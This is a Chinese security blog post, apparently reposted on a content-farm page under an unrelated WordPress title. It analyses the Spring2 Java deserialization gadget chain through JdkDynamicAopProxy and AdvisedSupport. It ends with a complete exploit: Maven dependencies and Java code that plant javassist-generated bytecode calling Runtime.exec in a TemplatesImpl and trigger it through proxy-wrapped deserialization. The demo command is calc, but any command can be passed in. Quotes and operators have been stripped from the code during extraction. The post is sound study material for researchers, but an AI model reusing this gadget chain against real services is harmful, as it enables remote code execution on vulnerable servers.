5分钟建站wordpress域名服务商有哪些
5分钟建站wordpress,域名服务商有哪些,世界十大网站开发公司,花都营销型网站目录
简介
简话JdkDynamicAopProxy
关于target的出身——AdvisedSupport
EXP 请确保已阅读过前文或对Spring1链至少有一定认知#xff1a;【Web】浅聊Java反序列化之Spring1链——三层动态代理-CSDN博客
简介
Spring2 和 Spring1 的反序列化过程基本相同#xff0c;唯一…目录
简介
简话JdkDynamicAopProxy
关于target的出身——AdvisedSupport
EXP 请确保已阅读过前文或对Spring1链至少有一定认知【Web】浅聊Java反序列化之Spring1链——三层动态代理-CSDN博客
简介
Spring2 和 Spring1 的反序列化过程基本相同唯一不同的在于把spring-beans的ObjectFactoryDelegatingInvocationHandler换成了spring-aop的JdkDynamicAopProxy
org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现同时其还实现了 AopProxy 接口。
个人觉得Spring2较Spring1更快刀斩乱麻思路更清晰构造更干净(毕竟只用了两层代理 简话JdkDynamicAopProxy
①JdkDynamicAopProxy实现了AopProxy, InvocationHandler, Serializable三个接口
所以我们要清楚地认知其本质也是handler用作构造动态代理类
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable
②其构造方法接收一个AdvisedSupport类型的参数config并赋值给advised
public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {Assert.notNull(config, AdvisedSupport must not be null);if (config.getAdvisors().length 0 config.getTargetSource() AdvisedSupport.EMPTY_TARGET_SOURCE) {throw new AopConfigException(No advisors and no TargetSource specified);} else {this.advised config;}}
这段代码的作用是根据传入的 AdvisedSupport 对象进行初始化确保必要的属性不为空。如果属性不满足要求则抛出异常。否则将 config 赋值给类的成员变量 advised完成初始化操作。
③JdkDynamicAopProxy#invoke public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Object oldProxy null;boolean setProxyContext false;TargetSource targetSource this.advised.targetSource;Class? targetClass null;Object target null;Integer var10;try {if (!this.equalsDefined AopUtils.isEqualsMethod(method)) {Boolean var18 this.equals(args[0]);return var18;}if (this.hashCodeDefined || !AopUtils.isHashCodeMethod(method)) {Object retVal;if (!this.advised.opaque method.getDeclaringClass().isInterface() method.getDeclaringClass().isAssignableFrom(Advised.class)) {retVal AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);return retVal;}if (this.advised.exposeProxy) {oldProxy AopContext.setCurrentProxy(proxy);setProxyContext true;}target targetSource.getTarget();if (target ! null) {targetClass target.getClass();}ListObject chain this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);if (chain.isEmpty()) {retVal AopUtils.invokeJoinpointUsingReflection(target, method, args);} else {MethodInvocation invocation new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);retVal invocation.proceed();}Class? returnType method.getReturnType();if (retVal ! null retVal target returnType.isInstance(proxy) !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {retVal proxy;} else if (retVal null returnType ! Void.TYPE returnType.isPrimitive()) {throw new AopInvocationException(Null return value from advice does not match primitive return type for: method);}Object var13 retVal;return var13;}var10 this.hashCode();} finally {if (target ! null !targetSource.isStatic()) {targetSource.releaseTarget(target);}if (setProxyContext) {AopContext.setCurrentProxy(oldProxy);}}return var10;}
先是获取advised 里的 TargetSource存进targetSource里并调用 getTarget() 方法返回其中的对象存进target里。(我知道你想问什么后面会讲的)
接着再调用AopUtils.invokeJoinpointUsingReflection(target, method, args) public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args) throws Throwable {try {ReflectionUtils.makeAccessible(method);return method.invoke(target, args);}
这段代码的作用是通过反射机制调用目标对象的指定方法并传入相应的参数实现了对目标对象方法的动态调用
总结一下就是JdkDynamicAopProxy将方法调用委托给了AdvisedSupport的target成员。
而方法名是我们可控的(从MethodInvokeTypeProvider传入)那我们只要让target成员为恶意TemplatesImpl并把方法名设置为newTransformer就可调用TemplatesImpl#newTransformer这样就免去了三层代理的繁琐。 关于target的出身——AdvisedSupport
现在的问题来到了如何让target成员为恶意TemplatesImpl
我们知道target来源自this.advised.targetSource.getTarget()而advised是一个 AdvisedSupport类
看下AdvisedSupport类的构造方法
public AdvisedSupport() {this.targetSource EMPTY_TARGET_SOURCE;this.preFiltered false;this.advisorChainFactory new DefaultAdvisorChainFactory();this.interfaces new ArrayList();this.advisors new LinkedList();this.advisorArray new Advisor[0];this.initMethodCache();} this.advised.targetSource是个TargetSource接口的实现但没有对getTarget进行重写
public interface TargetSource extends TargetClassAware {Class? getTargetClass();boolean isStatic();Object getTarget() throws Exception;void releaseTarget(Object var1) throws Exception;
}如果猜测getTarget是个getter方法从对称的角度我们不难想到可以用setTarget来放入恶意TemplatesImpl但出于严谨还是得跟一下具体调用
public void setTarget(Object target) {this.setTargetSource(new SingletonTargetSource(target));}
跟进setTargetSource
public void setTargetSource(TargetSource targetSource) {this.targetSource targetSource ! null ? targetSource : EMPTY_TARGET_SOURCE;}
经典三目运算如果传入的 targetSource 不为 null则设置为传入的 targetSource如果传入的 targetSource 为 null则设置为默认的 EMPTY_TARGET_SOURCE
targetSource从哪来从new SingletonTargetSource(target)来。 再回头跟一下SingletonTargetSource发现就是给this.target赋值为target
public SingletonTargetSource(Object target) {Assert.notNull(target, Target object must not be null);this.target target;}
然后new一个SingletonTargetSource对象传入setTargetSource从而让this.advised.targetSource赋值为我们刚new完的SingletonTargetSource对象而该对象的target属性就是由我们传入的。
所以this.advised.targetSource.getTarget()得到的就是我们构造时用setTarget传入的target。 EXP
pom依赖
dependenciesdependencygroupIdorg.javassist/groupIdartifactIdjavassist/artifactIdversion3.29.2-GA/version/dependencydependencygroupIdorg.springframework/groupIdartifactIdspring-aop/artifactIdversion4.1.4.RELEASE/version/dependency/dependencies 召唤计算器的神奇的咒语
package com.spring;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;public class Spring2 {public static void main(String[] args) throws Exception {TemplatesImpl templates TemplatesImpl.class.newInstance();setValue(templates, _bytecodes, new byte[][]{genPayload(calc)});setValue(templates, _name, 1);AdvisedSupport as new AdvisedSupport();as.setTarget(templates);Class? clazz0 Class.forName(org.springframework.aop.framework.JdkDynamicAopProxy);Constructor? con0 clazz0.getDeclaredConstructors()[0];con0.setAccessible(true);InvocationHandler aopInvocationHandler (InvocationHandler) con0.newInstance(as);Object aopProxy Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopInvocationHandler);HashMapString, Object map2 new HashMapString, Object();map2.put(getType, aopProxy);Class? clazz2 Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor? con2 clazz2.getDeclaredConstructors()[0];con2.setAccessible(true);InvocationHandler invocationHandler2 (InvocationHandler) con2.newInstance(Override.class, map2);Object typeProviderProxy Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Class.forName(org.springframework.core.SerializableTypeWrapper$TypeProvider)}, invocationHandler2);Class? clazz3 Class.forName(org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider);Constructor? con3 clazz3.getDeclaredConstructors()[0];con3.setAccessible(true);Object o con3.newInstance(typeProviderProxy, Object.class.getMethod(toString), 0);setValue(o, methodName, newTransformer);ser(o);}public static void ser(Object o) throws Exception {ByteArrayOutputStream baos new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(baos);oos.writeObject(o);oos.close();ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));ois.readObject();}public static byte[] genPayload(String cmd) throws Exception {ClassPool pool ClassPool.getDefault();CtClass clazz pool.makeClass(a);CtClass superClass pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor new CtConstructor(new CtClass[]{}, clazz);constructor.setBody(Runtime.getRuntime().exec(\ cmd \););clazz.addConstructor(constructor);clazz.getClassFile().setMajorVersion(49);return clazz.toBytecode();}public static void setValue(Object obj, String name, Object value) throws Exception {Field field obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}}
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/89419.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!